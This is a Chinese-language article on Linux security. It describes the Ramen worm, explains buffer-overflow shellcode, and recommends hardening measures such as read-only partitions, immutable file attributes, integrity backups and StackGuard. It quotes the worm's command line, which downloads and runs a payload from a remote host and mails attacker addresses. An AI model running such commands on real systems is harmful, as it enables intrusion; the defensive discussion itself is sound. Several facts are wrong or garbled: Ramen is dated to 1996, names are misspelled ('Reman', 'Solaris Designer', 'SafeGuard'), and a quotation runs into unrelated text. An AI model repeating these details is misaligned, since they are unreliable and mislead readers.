由于Linux操作系统是一个开放源代码的免费操作系统, 因此受到越来越多用户的欢迎。随着Linux操作系统在我国的不断普及,Linux操作系统一直被认为是微软Windows软件系统的劲敌,因为它不仅安全、稳定、成本低,而且很少发现有病毒传播。但是,随着越来越多的服务器、工作站和个人电脑使用Linux软件,电脑病毒制造者也开始攻击这一系统。于1996年被发现的Ramen是Linux系统下的第一个病毒,如果说刚开始时Linux病毒向人们展示的仅仅是一个概念,那么,Ramen病毒的发现,则已经开始引起了人们的担心。虽然很多人认为,严格来讲,Reman并不能称为病毒,但是这已经让很多对Linux的安全性信心百倍的用户大吃一惊了。
可以看到,从1996年至今,新的Linux病毒屈指可数,这说明Linux是一个健壮的、具有先天病毒免疫能力的操作系统。当然除了其自身设计优秀外,年轻,也是Linux很少受到病毒攻击的原因之一。事实上,所有的操作系统(包括DOS和Windows)在其产生之初,也很少受到各种病毒的侵扰。然而正如Trend Micro的反病毒部门欧洲总裁Raimond Genes所说的,“当然我们将看到对于Windows的越来越多的攻击,但是Linux也将成为一个目标,因为它的使用正在变得越来越普及,这是一个稳定的操作系统,但并不是一个完全安全的系统而LINUX方面关于世界上第一个Linux病毒——reman已经出现的说法,我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在UNIX/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才“出现”的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。
缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:“core dump”或“segment fault”。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为:“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。
下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop export TERM=vt100 lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz cp ramen.tgz /tmp gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com gb31337@yahoo.com |
但我们对于LINUX的安全措施仍需要注意.
一、文件系统在Linux系统中,分别为不同的应用安装单独的主分区将关键的分区设置为只读将大大提高文件系统的安全。这主要涉及到Linux自身的ext2文件系统的只添加(只添加)和不可变这两大属性。
◆文件分区Linux的文件系统可以分成几个主要的分区,每个分区分别进行不同的配置和安装,一般情况下至少要建立/、/usr/local、/var和/home等分区。/usr可以安装成只读并且可以被认为是不可修改的。如果/usr中有任何文件发生了改变,那么系统将立即发出安全报警。当然这不包括用户自己改变/usr中的内容。
/lib、/boot和/sbin的安装和设置也一样。在安装时应该尽量将它们设置为只读,并且对它们的文件、目录和属性进行的任何修改都会导致系统报警。
当然将所有主要的分区都设置为只读是不可能的, 有的分区如/var等,其自身的性质就决定了不能将它们设置为只读,但应该不允许它具有执行权限。
◆扩展ext2使用ext2文件系统上的只添加和不可变这两种文件属性可以进一步提高安全级别。不可变和只添加属性只是两种扩展ext2文件系统的属性标志的方法。
一个标记为不可变的文件不能被修改,甚至不能被根用户修改。一个标记为只添加的文件可以被修改,但只能在它的后面添加内容,即使根用户也只能如此。
可以通过chattr命令来修改文件的这些属性,如果要查看其属性值的话可以使用lsattr命令。要想了解更多的关于ext2文件属性的信息,可使用命令man chattr来寻求帮助。这两上文件属性在检测黑客企图在现有的文件中安装入侵后门时是很有用的。为了安全起见,一旦检测到这样的活动就应该立即将其阻止并发出报警信息。
如果你的关键的文件系统安装成只读的并且文件被标记为不可变的,入侵者必须重新安装系统才能删除这些不可变的文件但这会立刻产生报警,这样就大大减少了被非法入侵的机会。
◆保护log文件当与log文件和log备份一起使用时不可变和只添加这两种文件属性特别有用。系统管理员应该将活动的log文件属性设置为只添加。当log被更新时,新产生的log备份文件属性应该设置成不可变的,而新的活动的log文件属性又变成了只添加。这通常需要在log更新脚本中添加一些控制命令。
二、备份在完成Linux系统的安装以后应该对整个系统进行备份,以后可以根据这个备份来验证系统的完整性,这样就可以发现系统文件是否被非法窜改过。如果发生系统文件已经被破坏的情况,也可以使用系统备份来恢复到正常的状态。
◆CD-ROM备份当前最好的系统备份介质就是CD-ROM光盘,以后可以定期将系统光盘内容进行比较以验证系统的完整性是否遭到破坏。如果对安全级别的要求特别高,那么可以将光盘设置为可启动的并且将验证工作作为系统启动过程的一部分。这样只要可以通过光盘启动,就说明系统尚未被破坏过。
如果你创建了一个只读的分区,那么可以定期从光盘映像重新装载它们。即使象/boot、/lib和/sbin这样不能被安装成只读的分区,你仍然可以根据光盘映像来检查它们,甚至可以在启动时从另一个安全的映像重新下载它们。
◆其它方式的备份虽然/etc中的许多文件经常会变化,但/etc中的许多内容仍然可以放到光盘上用于系统完整性验证。其它不经常进行修改的文件,可以备份到另一个系统(如磁带)或压缩到一个只读的目录中。这种办法可以在使用光盘映像进行验证的基础上再进行额外的系统完整性检查。
既然现在绝大多数操作系统现在都在随光盘一起提供的,制作一个CD-ROM紧急启动盘或验证盘操作起来是十分方便的,它是一种十分有效而又可行的验证方法。
三、改进系统内部安全机制可以通过改进Linux操作系统的内部功能来防止缓冲区溢出攻击这种破坏力极强却又最难预防的攻击方式,虽然这样的改进需要系统管理员具有相当丰富的经验和技巧,但对于许多对安全级别要求高的Linux系统来讲还是很有必要的。
◆Solaris Designer的安全Linux补丁Solaris Designer用于2.0版内核的安全Linux补丁提供了一个不可执行的栈来减少缓冲区溢出的威胁,从而大大提高了整个系统的安全性。
缓冲区溢出实施起来是相当困难的,因为入侵者必须能够判断潜在的缓冲区溢出何时会出现以及它在内存中的什么位置出现。缓冲区溢出预防起来也十分困难,系统管理员必须完全去掉缓冲区溢出存在的条件才能防止这种方式的攻击。正因为如此,许多人甚至包括Linux Torvalds本人也认为这个安全Linux补丁十分重要,因为它防止了所有使用缓冲区溢出的攻击。但是需要引起注意的是,这些补丁也会导致对执行栈的某些程序和库的依赖问题,这些问题也给系统管理员带来的新的挑战。
不可执行的栈补丁已经在许多安全邮件列表(如securedistros@nl.linux.org)中进行分发,用户很容易下载到它们等。
◆StackGuardStackGuard是一个十分强大的安全补丁工具。你可以使用经StackGuard修补过的gcc版本来重新编译和链接关键的应用。
StackGuard进行编译时增加了栈检查以防止发生栈攻击缓冲区溢出,虽然这会导致系统的性能略有下降,但对于安全级别要求高的特定应用来讲StackGuard仍然是一个十分管用的工具。
现在已经有了一个使用了SafeGuard的Linux版本,用户使用StackGuard将会更加容易。虽然使用StackGuard会导致系统性能下降约10~20%,但它能够防止整个缓冲区溢出这一类攻击。
◆增加新的访问控制功能Linux的2.3版内核正试图在文件系统中实现一个访问控制列表,这要可以在原来的三类(owner、group和other)访问控制机制的基础上再增加更详细的访问控制。
在2.2和2.3版的Linux内核中还将开发新的访问控制功能,它最终将会影响当前有关ext2文件属性的一些问题。与传统的具有ext2文件系统相比它提供了一个更加精确的安全控制功能。有了这个新的特性,应用程序将能够在不具有超级用户权限的情况下访问某些系统资源,如初始套接等。
◆基于规则集的访问控制现在有关的Linux团体正在开发一个基于规则的访问。